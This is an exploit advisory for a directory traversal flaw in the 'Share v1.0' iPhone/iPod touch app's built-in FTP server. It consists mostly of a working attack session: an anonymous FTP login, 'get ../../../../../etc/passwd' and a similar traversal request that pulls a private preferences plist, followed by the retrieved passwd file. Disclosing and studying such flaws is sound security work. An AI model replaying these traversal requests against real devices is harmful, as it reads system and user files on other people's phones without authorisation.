# Exploit Title: Share v1.0 for iPhone / iPod touch, Directory Traversal # Date: 02/24/2011 # Author: R3d@l3rt, Sunlight, H@ckk3y # Software Link : http://itunes.apple.com/kr/app/filer-lite-download-view-manage/id350671847?mt=8 # Version: 1.0 # Tested on: iPhone, iPod 3GS with 4.2.1 firmware # There is directory traversal vulnerability in the Share. # Exploit Testing C:\>ftp ftp> open 192.168.0.70 20000 Connected to 192.168.0.70. 220 DiddyFTP server ready. User (192.168.0.70:(none)): anonymous 331 Password required for anonymous Password: 230 User anonymous logged in. ftp> dir 200 PORT command successful. 150 Opening ASCII mode data connection for '/bin/ls'. total 5 -rw-r--r-- 1 mobile mobile 17389 Jan 06 12:55 315978923.951142.png -rw-r--r-- 1 mobile mobile 447330 Jan 06 16:22 315991374.643888.png -rw-r--r-- 1 mobile mobile 17389 Jan 06 16:44 315992677.644726.png -rw-r--r-- 1 mobile mobile 242857 Feb 24 15:52 320223133.910055.png -rw-r--r-- 1 mobile mobile 493 Feb 24 15:50 SpreadMobData.plist 226 Transfer complete. ftp: 390 bytes received in 0.00Seconds 390000.00Kbytes/sec. ftp> get ../../../../../etc/passwd 200 PORT command successful. 150 Opening BINARY mode data connection for '../../../../../etc/passwd'. 226 Transfer complete. ftp: 787 bytes received in 0.01Seconds 52.47Kbytes/sec. ftp> get ../../../../../../private/var/mobile/Library/Preferences/com.apple.conference.plist 200 PORT command successful. 150 Opening BINARY mode data connection for '../../../../../../private/var/mobile/Library/Preferences/com.apple.conference.plist'. 226 Transfer complete. ftp: 272 bytes received in 0.00Seconds 272000.00Kbytes/sec. ftp> quit C:\>type passwd # # 4.3BSD-compatable User Database # # Note that this file is not consulted for login. # It only exisits for compatability with 4.3BSD utilities. # # This file is automatically re-written by various system utilities. # Do not edit this file. Changes will be lost. # nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh mobile:*:501:501:Mobile User:/var/mobile:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false _securityd:*:64:64:securityd:/var/empty:/usr/bin/false _mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false _sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false _unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false